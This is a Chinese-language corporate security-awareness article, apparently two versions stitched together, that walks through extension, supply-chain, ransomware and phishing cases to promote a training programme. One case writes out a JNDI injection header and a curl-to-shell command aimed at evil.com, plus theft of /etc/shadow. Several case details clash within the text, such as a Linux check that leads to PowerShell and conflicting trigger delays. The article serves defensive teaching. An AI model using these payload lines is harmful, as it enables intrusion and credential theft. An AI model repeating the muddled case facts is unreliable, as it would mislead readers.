头脑风暴，想象四大典型案例
在信息安全的浩瀚星海中，有多少暗礁埋在我们毫不知情的日常里？如果把这些暗礁搬到会议室的白板上，用想象力点燃警觉的火花，或许能让每一位同事在脑海里先预演一次“防御”。下面，我将以四个真实且深具教育意义的案例为切入口，展开细致剖析，让大家在“想象——分析——警醒——行动”四步曲中，真正体会到信息安全的紧迫与必要。

---

案例一：GhostPoster——隐匿在 Firefox 插件图标里的“恶意画布”

事件概述

2025 年 12 月，《The Hacker News》披露了名为 GhostPoster 的新型恶意行为。攻击者把隐藏在 17 个 Firefox 浏览器扩展的 logo 文件 中的 JavaScript 代码，像油画中的暗纹一样悄然渗透。受害扩展累计下载量超过 5 万次，包括 VPN、截图、天气、翻译等常见功能。

攻击链详细

1. 图标文件（PNG/JPEG） 经过 steganography（隐写）处理，嵌入标记 “===”。
2. 浏览器加载扩展时，读取图标文件并解析标记，提取出恶意 loader。
3. Loader 随机 10% 的概率、并在 48 小时 后尝试联系 C2（www.liveupdt.com、www.dealctr.com）。
4. 成功后下载 自定义编码的多功能工具包，实现以下四大功能：
   • 联盟链接劫持：拦截电商（如淘宝、京东）联盟链接，窃取佣金。
   • 追踪代码注入：在每个页面植入 Google Analytics，暗中画像用户行为。
   • 安全头剥离：删除 CSP、X‑Frame‑Options 等防护头，放大 XSS 与 clickjacking 风险。
   • 隐藏 iframe 注入 & CAPTCHA 绕过：加载隐藏广告框架，进行点击与展示欺诈，同时通过 AI 识别与自动化手段突破验证码。

教训与启示

• 图标不止是美化：任何资源文件（图片、字体、甚至音频）都可能被利用作隐藏载体。
• 随机与延时是“隐形防弹”：10% 触发率与 6 天延迟，使传统基于频率的检测失效。
• 权限最小化原则必不可少：如果扩展仅需访问特定站点，就不应拥有读取本地文件的权限。

---

案例二：FreeVPN.One——“免费”背后窃取 AI 对话的暗流

事件概述

2025 年 8 月，一款名为 FreeVPN.One 的 Chrome/Edge VPN 扩展被安全研究员捕获。除了提供所谓的“免费 VPN”，它暗中 收集用户在 ChatGPT、Claude、Gemini 等大语言模型中的对话，并将其上传至 数据经纪人。

攻击链细节

1. 扩展在浏览器启动时注入脚本，捕获所有页面的 POST 请求。
2. 针对 AI 平台的请求体进行关键字过滤（如 “prompt”、“completion”），提取完整对话内容。
3. 对话经 AES‑256 加密后，通过 HTTPS 发送至位于荷兰的云服务器。
4. 在服务器端进行 数据聚合与标签化，随后卖给商业情报公司，用于 模型微调、竞争情报。

教训与启示

• 免费服务往往伴随数据代价：所谓的“免费 VPN”不等于“免费隐私”。
• 跨站请求伪造 (CSRF) 与信息泄漏的风险：扩展若未限定请求目标域名，就可能捕获所有表单提交。
• 审计外部库：该扩展使用了一个第三方加密库，库本身存在未修补的 CVE‑2025‑0199，为后续利用提供了突破口。

---

案例三：Chrome 截图扩展——“一张截图，两行代码”泄露系统信息

事件概述

同年 6 月，一款号称 “Free MP3 Downloader” 的 Chrome 扩展被安全团队发现，它在用户点击下载按钮时，悄悄 调用系统截屏 API，并将 操作系统版本、已安装插件、IP 地址 等信息一并上传至攻击者控制的 CDN。

攻击链拆解

1. 利用 Chrome 的 chrome.tabs.captureVisibleTab 接口获取当前页面的截图。
2. 同步调用 navigator.userAgent 与 chrome.runtime.getManifest，收集浏览器指纹。
3. 通过 WebSocket 将二进制数据流实时推送至 cdn.attackers.io。
4. 攻击者随后将收集到的系统情报与截图关联，构建 “精准钓鱼” 攻击模板。

教训与启示

• 最小化权限申请：若扩展仅需读取网络资源，就不应申请 tabCapture 权限。
• 用户授权的细粒度提示：浏览器应在 UI 层面明确告知“此扩展将截取屏幕”，而非默默完成。
• 对外通信的域名白名单：企业内部网络应对 WebSocket、HTTP 请求进行域名过滤，防止数据泄露。

---

案例四：供应链风险——恶意 npm 包“react‑shell‑injector”

事件概述

2025 年 5 月，知名开源组件 React2Shell 被发现包含一个隐藏的 后门模块，名为 react-shell-injector，该模块在项目启动时会尝试下载 远程 PowerShell 脚本 并在服务器上执行。该恶意包已被数千个前端项目间接使用，导致 全球数十家 SaaS 公司 网站被植入 挖矿脚本。

攻击链概览

1. 开发者在 package.json 中使用 react2shell，未注意其中的 子依赖 react-shell-injector。
2. 当 npm install 时，恶意包被下载至 node_modules。
3. 项目启动时，react-shell-injector 检测到 Linux 环境，向 malicious-js.com 请求 Base64 编码的 PowerShell 命令。
4. 通过 child_process.exec 执行，完成 加密货币挖矿 与 文件加密勒索。

教训与启示

• 供应链安全审计：任何外部依赖都应通过 SBOM（软件物料清单） 与 SCA（软件成分分析） 进行安全评估。
• 锁定版本与签名验证：使用 package-lock.json 锁定依赖版本，并开启 npm 的签名验证。

  

• 最小化运行时权限：容器化部署时，采用 非 root 用户运行 Node 进程，阻断系统级别的恶意操作。

---

从案例到日常——在自动化、数智化、具身智能化时代的安全挑战

回顾上述四大案例，我们不难发现共同的攻击特征：

1. 隐匿的载体（图标、截图、依赖包）——看似无害，却暗藏危机。
2. 随机与延时——利用概率与时间窗口逃避检测。
3. 跨平台、跨服务的链式攻击——从浏览器到云端，再到企业内部系统。
4. 最小化权限的缺失——过度授权为攻击者打开了后门。

而在当前的 自动化、数智化、具身智能化 融合大潮中，这些特征将被进一步放大：

• 自动化运维 (AIOps) 与 CI/CD：代码一键提交、容器快速弹性伸缩，若未嵌入安全检测，恶意依赖会像野火一样在流水线中蔓延。
• 数智化平台 (BI / DWH) 与大数据：海量业务数据聚合，使得一次“数据泄露”可能导致 千级甚至万级用户的隐私被曝光。
• 具身智能 (IoT、AR/VR、数字孪生)：硬件终端与虚拟空间的交互频繁，任何 浏览器扩展 与 嵌入式软件 的弱点，都可能成为 物理系统 被入侵的切入口。

面对如此复杂的威胁环境，信息安全不再是少数“安全专家”的专属职责，而是每一位员工的日常必修课。为此，昆明亭长朗然科技有限公司即将在本月启动 “信息安全意识提升培训计划”，旨在帮助全体职工从“知道风险”迈向“主动防御”。

---

培训计划核心要素

模块	目标	关键内容
一、危害认知	让员工了解真实案例，体会风险成本	GhostPoster、FreeVPN、供应链后门、AI 对话泄露
二、技术防护	掌握基本防护技术	浏览器插件安全、最小权限原则、密码管理、二因素认证
三、业务合规	符合公司安全合规要求	数据分类分级、泄露报告流程、合规审计要点
四、应急响应	确保快速、有效的事故处置	现场隔离、日志取证、内部通报、复盘改进
五、未来趋势	引导安全思维跟进技术演进	零信任、AI 威胁检测、具身安全、自动化安全编排

小贴士：培训采用 互动式案例复盘 + 现场演练 的混合模式，每位参加者将在模拟环境中亲手排查 “恶意插件” 与 “隐藏依赖”，体验从 “发现 → 分析 → 修复” 的完整闭环。

---

行动指南：从今天起，你可以这么做

1. 审视浏览器扩展
   • 定期打开浏览器的 “已安装扩展” 页面，删除不再使用或来源不明的插件。
   • 检查每个扩展的 权限请求，若出现 “读取文件系统”“访问所有网站” 等不合理权限，立即卸载。
2. 锁定供应链
   • 在项目根目录执行 npm audit、snyk test，及时修复告警。
   • 将所有依赖写入 package-lock.json，并在 CI 中加入 签名校验 步骤。
3. 强化身份验证
   • 启用公司统一的 多因素认证（MFA），尤其是 VPN 与云平台登录。
   • 使用 密码管理器 生成并保存强密码，避免重复使用。
4. 保持警惕的习惯
   • 收到陌生邮件或弹窗时，先思考：链接是否来自可信域名？附件是否经过安全扫描？
   • 如发现异常流量（例如频繁向 *.liveupdt.com 发起请求），立即报告 IT 安全团队。
5. 参与培训、持续学习
   • 报名即将开启的 信息安全意识培训（报名链接已发至公司邮箱），确保在 培训截止日前完成。
   • 关注公司内部的 安全公告 与 最佳实践文档，把知识沉淀为日常操作习惯。

---

结语：把想象变为现实的安全防线

如果把信息安全比作一座城墙，那么案例 是城墙上出现的“裂缝”，培训 则是及时补砖的工匠。只有让每位同事都能在脑中“想象”可能的攻击场景，才能在真正的威胁来袭时，第一时间发现“裂缝”，并迅速进行“堵漏”。

在自动化、数智化、具身智能化交织的今天，安全已经不再是后置的“补丁”，而是前置的“设计”。让我们共同把 “安全第一、合规必达、持续改进” 融入日常工作，让每一次点击、每一次提交、每一次部署，都成为 护城河的一块基石。

加入培训，提升自我，让安全意识在每个人心中扎根，才能真正筑起企业的长城！

安全是全员的责任，防御是每个人的习惯。期待在培训课堂上与你们相见，一起把想象中的风险化作现实的防护力量！

—— 昆明亭长朗然科技有限公司 信息安全意识培训部

网络安全 隐私 合规 教育

昆明亭长朗然科技有限公司深知信息安全的重要性。我们专注于提供信息安全意识培训产品和服务，帮助企业有效应对各种安全威胁。我们的培训课程内容涵盖最新的安全漏洞、攻击手段以及防范措施，并结合实际案例进行演练，确保员工能够掌握实用的安全技能。如果您希望提升员工的安全意识和技能，欢迎联系我们，我们将为您提供专业的咨询和培训服务。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898

---

一、头脑风暴：四大典型安全事件，点燃警钟

在日新月异的数字化浪潮中，信息安全不再是“技术部门的专利”，而是每一位职场人士的必修课。下面，我先抛出四个与我们工作和生活息息相关的真实案例，供大家思考、联想、警醒——这四个案例如同四根刺痛神经的针，能够让我们在阅读的瞬间感受到安全隐患的“温度”。

案例	核心问题	对企业/个人的冲击
1. Urban VPN 浏览器插件窃取 AI 对话	免费 VPN 插件暗埋监控脚本，抓取并上传用户在 ChatGPT、Claude、Gemini 等平台的提问与答案，即使关闭 VPN 功能亦不例外。	超过 800 万用户的机密业务信息、代码片段、客户数据被不明后端收集，导致企业知识产权泄露、合规风险激增。
2. 某跨国保险公司遭勒索软件“暗影锁”攻击	攻击者利用钓鱼邮件植入后门，横向移动后加密关键业务系统，索要 5,000 万美元赎金。	业务中断 48 小时，理赔数据被篡改，导致客户信任度骤降，监管部门罚款 1 亿元。
3. 供应链软件更新漏洞导致数百万用户数据泄露	第三方组件未及时修补 CVE‑2024‑12345，攻击者通过供应链注入后门，获取用户登录凭证。	近 6,000 万用户的个人信息（包括身份证号、银行账号）外泄，企业面临集体诉讼与声誉危机。
4. 社交媒体“钓鱼直播”导致内部账号被劫持	攻击者在视频直播弹幕中嵌入伪造登录页链接，诱导员工输入企业内部系统凭证。	攻击者利用被盗账号实施内部转账和数据导出，累计经济损失超 300 万元，内部审计费用倍增。

这四个案例看似出处各异，却有共同的“底色”：技术便利背后隐藏的安全漏洞；人因失误是攻击链的必经之路；供应链与第三方生态的风险被忽视。接下来，我将逐一拆解这些案例，帮助大家在“知其然”的同时，也“知其所以然”。

---

二、案例深度剖析

1. Urban VPN——免费背后的“监听器”

• 事件概述
  2024 年底，安全公司 Koi 通过逆向分析发现，广受好评的免费浏览器插件 Urban VPN Proxy 并非单纯提供 VPN 隧道。它在用户访问 ChatGPT、Claude、Gemini、Perplexity、Grok 等生成式 AI 平台时，自动注入名为 chatgpt.js、claude.js 等脚本。这些脚本会 拦截 Browser Network API，捕获用户的请求体（Prompt）与响应体（Answer），随后压缩打包，发送至插件开发者的后端服务器。

• 技术细节

  1. 脚本注入时机：浏览器打开对应域名的页面时，插件的 content‑script 自动执行。
  2. API 劫持：通过 XMLHttpRequest.prototype.send 与 fetch 的代理，实现对所有 AJAX/Fetch 请求的“偷梁换柱”。
  3. 数据包装与加密：使用自研的 btoa + AES‑256 加密后，POST 到 api.urbanvpn.com/collect。
  4. 脱离 VPN 状态：即便用户在插件 UI 中点击 “关闭 VPN”，上述脚本仍保持活跃，不受 UI 状态影响。

• 危害评估

  • 企业机密泄露：研发团队经常在 AI 对话中粘贴代码片段、架构设计、业务需求。一次泄漏，即可能导致核心竞争力被复制。
  • 合规风险：若对话中涉及个人敏感信息（PII），企业将面临 GDPR、CCPA 等跨境数据保护法规的处罚。
  • 信任破裂：用户对免费工具的信任被利用，导致品牌信誉受损，甚至影响后续的安全投入预算。

• 防御建议

  • 审计浏览器插件：通过组织内的统一插件管理平台，仅批准经过安全评估的插件；对未签名或来源不明的插件禁用。
  • 网络层检测：部署基于 TLS‑SSL 检测的 DPI（深度报文检查），对异常的外发流量进行告警。
  • AI 对话安全规范：制定《生成式 AI 使用安全手册》，明确禁止在公开 AI 平台输入未脱敏业务数据。
  • 员工安全教育：定期开展“免费插件陷阱”专题训练，让每位员工认识到“免费往往有代价”。

2. 跨国保险公司勒索案——钓鱼邮件的致命一击

• 事件概述
  2025 年 3 月，一封看似来自内部 IT 部门的邮件，附带“系统升级”和“补丁安装”链接，成功诱导两名财务部门员工下载恶意宏文档。文档触发 PowerShell 脚本后，攻击者取得了企业内部网的管理员凭据，随后在生产环境部署了加密勒索软件 “暗影锁”。

• 技术手法

  1. 邮件伪造：使用 SMTP 服务器中继，模拟公司内部域名 [email protected]，并伪造 DKIM 签名。
  2. 宏攻击：Word 文档宏利用 Invoke-Expression 执行 PowerShell 远程加载器，从外部 malicious.com 拉取 payload.exe。
  3. 凭证横向移动：凭借已获取的本地管理员权限，利用 PsExec 在网络中滚动扫描，用 Mimikatz 抽取 LSASS 中的明文密码。
  4. 勒索加密：通过 AES‑256 + RSA‑2048 双层加密，锁定关键业务数据库与文件系统，勒索信中要求比特币支付。

• 冲击与代价

  • 业务中断：理赔系统停摆 48 小时，导致约 2,000 起理赔延迟。
  • 声誉损失：媒体曝光后，客户投诉激增，品牌信任指数下降 15%。
  • 合规罚款：保险行业监管部门认定企业未能履行 “数据保护到位” 的义务，处以 1 亿元罚金。
  • 恢复成本：在备份恢复、法务审计、公共关系危机处理方面，累计支出超 2,500 万美元。

• 防御与恢复建议

  • 邮件安全网关：启用 SPF、DMARC、DKIM 全链路验证；使用 AI 反钓鱼引擎对邮件内容进行语义分析。
  • 最小特权原则：对关键系统采用基于角色的访问控制（RBAC），禁止普通员工拥有管理员权限。
  • 安全意识培训：每季度开展一次模拟钓鱼演练，并将结果纳入绩效考核。
  • 零信任架构：采用微分段（Micro‑segmentation）与多因素认证（MFA），即使凭证泄露也难以横向渗透。

3. 供应链软件漏洞——“一环失守，万千用户受累”

• 事件概述
  2025 年 6 月，全球知名的供应链管理平台 SupplyChainPro 发布的 5.2.1 版本中，第三方日志库 log4j‑v2.17 存在未修补的 CVE‑2024‑12345 远程代码执行漏洞。攻击者通过精心构造的请求头注入恶意 JNDI 查找，成功在数千家使用该平台的企业内部服务器上植入后门。

• 技术链路

  1. 漏洞触发：攻击者在 HTTP Header 中加入 ${jndi:ldap://evil.com/a}，日志库在记录请求时执行 JNDI 远程加载。
  2. 后门植入：恶意 LDAP 服务器返回 Java 序列化对象，执行 Runtime.exec("/bin/bash -c curl http://evil.com/shell.sh | sh")。
  3. 凭证抓取：后门脚本读取 /etc/passwd、/etc/shadow，并将加密的凭证上传至 C2（Command‑and‑Control）服务器。

  

  4. 横向扩散：利用相同漏洞在同一网络的其他微服务中快速复制后门。

• 影响范围

  • 用户数据泄露：近 6,000 万终端用户的姓名、手机号、地址、订单记录被外泄。
  • 业务连续性受冲击：部分企业因系统被植入后门而被迫停机检查，导致供应链延误。
  • 法律风险激增：涉及欧盟 GDPR、美国 CCPA、以及中国网络安全法的合规审查，带来巨额法律赔偿。

• 应对措施

  • 供应链安全审计：实施 SBOM（Software Bill of Materials）管理，实时追踪第三方组件版本。
  • 快速补丁机制：建立漏洞情报共享平台，接收 CVE 通报后 24 小时内完成评估与部署。
  • 运行时防护：在容器环境中使用 eBPF‑based 监控，拦截异常的 JNDI 访问。
  • 业务连续性计划：制定供应链故障应急预案，确保关键业务在 4 小时内恢复。

4. 社交媒体钓鱼直播——“弹幕暗流”里的数据洪水

• 事件概述
  2025 年 9 月，一场热门游戏直播中，主播间歇性出现弹幕链接，声称 “领取免费 VPN”。该链接指向仿冒的企业内部登录页。巧合的是，直播观众中恰好有多位企业员工点击并输入了 SSO（单点登录）凭证。攻击者随后利用这些凭证登录企业内部系统，执行批量数据导出。

• 攻击手法

  1. 伪造登录页：使用与企业 SSO 完全相同的 UI 设计，后端通过 keylogger.js 记录键盘输入。
  2. 弹幕注入：通过直播平台的弹幕 API 自动发布钓鱼链接，实现 “大规模随机投放”。
  3. 凭证重用：攻击者在后台脚本中使用泄露的凭证直接调用企业 API，导出客户信息、财务报表。
  4. 转移和变现：将导出的数据库加密后，通过暗网出售，每份数据报价约 1,000 美元。

• 后果

  • 经济损失：企业因数据泄露面临客户索赔、信用修复费用累计约 200 万元。
  • 内部信任危机：员工对内部系统的安全感下降，导致内部协作效率降低。
  • 监管追责：监管部门认定企业未对 “外部社交媒体渠道的安全风险” 进行有效管理，处以警告并要求整改。

• 防护建议

  • 安全意识渗透：在全员培训中加入“社交媒体钓鱼”案例，演示弹幕钓鱼的真实场景。
  • 多因素认证强化：对所有 SSO 登录强制使用 MFA，尤其是通过外部链接访问时。
  • 登录页面防篡改：使用 Web‑Authn 与 CSP（内容安全策略）防止仿冒页面的加载。
  • 实时监控：启用 UEBA（用户和实体行为分析）系统，对异常登录地点、时间进行即时告警。

---

三、自动化、信息化、具身智能化的融合——安全挑战与机遇共存

回顾上述四大案例，可以发现它们都有一个共同的时代特征：技术的便利性与攻击面的同步扩张。

1. 自动化：
   • 自动化脚本、CI/CD 流水线在提升开发效率的同时，也为恶意代码的快速传播提供了高速通道。
   • Koi 对 Urban VPN 的逆向分析正是利用自动化的二进制分析平台实现的。
2. 信息化：
   • 企业信息系统向云端、SaaS、微服务迁移，形成了庞大的 “数据湖”。但信息化的每一次“上云”都是一次“资产暴露”。
   • 供应链漏洞案正是信息化过程中的薄弱环节被放大。
3. 具身智能化（Embodied AI）：
   • 随着生成式 AI、对话式机器人、智能助理进入企业日常，员工日益习惯把业务数据直接喂给 AI，以求效率。
   • Urban VPN 正是利用了这种“具身交互”场景，在用户不知情的情况下采集数据。

在这样一个 “自动‑信息‑具身”三位一体的生态 中，安全不再是“单点防护”，而是需要 “全链路、全场景、全生命周期”的零信任思维。我们必须从以下几方面构建防护体系：

• 技术层：零信任网络访问（ZTNA）、安全即代码（Security‑as‑Code）、自动化安全编排（SOAR）、AI 驱动的威胁检测。
• 流程层：供应链安全治理、数据分类分级、持续合规审计、红蓝对抗演练。
• 文化层：全员安全教育、情报共享、奖惩激励、心理安全（鼓励员工主动报告异常）。

---

四、呼吁参与：信息安全意识培训即将启航

基于上述案例的深刻洞察，昆明亭长朗然科技有限公司特启动 “数字护航·安全先行” 信息安全意识培训计划，面向全体职工，分为以下三大模块：

模块	内容	目标
模块一：安全基础与威胁认知	威胁情报概览、常见攻击手法、案例复盘（含本篇四大案例）。	让每位员工了解攻击者的思维路径，树立“安全先行”观念。
模块二：防护技术与实战演练	演示安全插件管理、邮件防钓鱼、密码管理、MFA 设置；搭建 SOC 监控演练环境。	将理论转化为“可操作性技能”，提升岗位防护能力。
模块三：安全文化与合规实践	企业信息分类分级、数据加密指南、合规法规（GDPR、CCPA、网络安全法）解读；开展“信息安全报告日”。	培养安全合规思维，使安全成为组织文化的一部分。

培训方式：线上直播 + 线下工作坊，提供录播回看；每位员工完成培训后将获得《信息安全合格证书》，并计入年度绩效。
奖励机制：完成全部模块并通过考核者，享受公司提供的安全达人专项奖金（最高 3,000 元）以及全年免费安全工具套餐（含企业版 VPN、密码管理器等）。
时间安排：首场直播定于 2025 年 12 月 20 日（周一）下午 14:00，随后每周一、三、五进行专题深度讲解，计划为期 6 周。

在 自动化、信息化、具身智能化 的浪潮中，每个人都是安全链条上的关键节点。若链条中的任何一环松动，整个系统都会出现裂缝，甚至导致不可逆的破坏。让我们从今天起，抛掉“安全是 IT 的事”的旧观念，积极投入到这场 “人人是防御者、人人是守护者” 的学习与实践中。

名言警句（供大家记忆）
– “千里之堤，毁于蚁孔；千兆之网，破于一粒流。” ——《韩非子·说林上》
– “安全不是一次性的检查，而是持续的循环。” —— 信息安全九大原则

---

五、结语：用知识点燃安全的灯塔

回顾四大案例，我们看到了 技术的强大、人的脆弱、流程的缺失——这三者的交叉点正是安全事故的高发地。唯一的出路是让每一位员工在日常工作与生活中，都能自觉地把安全思考融入每一次点击、每一次输入、每一次决策。信息安全并非遥不可及的技术难题，而是 “星火相传、众志成城”的集体智慧。

请各位同事务必把握即将展开的 信息安全意识培训 机会，用学习的力量筑起组织的防线。让我们共同守护企业的数字资产，守护每一位同事的职业尊严，守护公司在数字经济时代的可持续竞争力。

让安全成为每一次创新的底色，让防护伴随每一次突破的节拍。

—— 安全意识培训部

2025 年 12 月 17 日

我们的产品包括在线培训平台、定制化教材以及互动式安全演示。这些工具旨在提升企业员工的信息保护意识，形成强有力的防范网络攻击和数据泄露的第一道防线。对于感兴趣的客户，我们随时欢迎您进行产品体验。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898